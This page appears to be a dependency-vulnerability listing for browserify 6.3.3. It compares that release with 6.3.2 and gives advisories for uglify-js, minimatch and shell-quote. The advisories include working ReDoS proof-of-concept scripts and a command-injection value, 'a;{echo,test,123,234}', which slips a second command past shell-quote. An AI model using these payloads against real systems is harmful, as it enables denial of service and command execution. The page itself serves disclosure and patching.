Browserify version 6.3.3 presents a minor yet potentially impactful update over its predecessor, version 6.3.2, both iterations serving as crucial tools for developers aiming to utilize Node.js-style modules within browser environments. Examining the metadata, the core functionalities and dependencies remain largely consistent. Both versions share identical dependencies, ranging from fundamental utilities like 'url', 'util', and 'assert' to more specialized modules such as 'module-deps', 'browser-pack', and various browser-compatible shims for Node.js core modules like 'http', 'crypto', and 'stream'. This indicates a continued commitment to stability and feature parity in bridging the gap between server-side and client-side JavaScript development.
The key difference lies in the release date, with version 6.3.3 being published on November 24, 2014, approximately two weeks after version 6.3.2 (November 11, 2014). While the provided data doesn't explicitly detail the changes implemented in version 6.3.3, the quick succession suggests bug fixes, performance enhancements, or minor compatibility adjustments. For developers, this implies that upgrading to version 6.3.3 is advisable to benefit from any resolved issues or improvements. Considering the extensive list of dependencies, updating ensures alignment with the latest versions of these sub-modules, potentially addressing vulnerabilities or leveraging newly introduced features. Despite the apparent similarity, diligent developers should review the changelog or commit history, if available, to comprehensively understand the specific nuances incorporated in version 6.3.3. This ensures seamless integration and optimal performance in their browser-based applications.
All the vulnerabilities related to the version 6.3.3 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
Improper Neutralization of Special Elements used in a Command in Shell-quote
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z] instead of the correct [A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.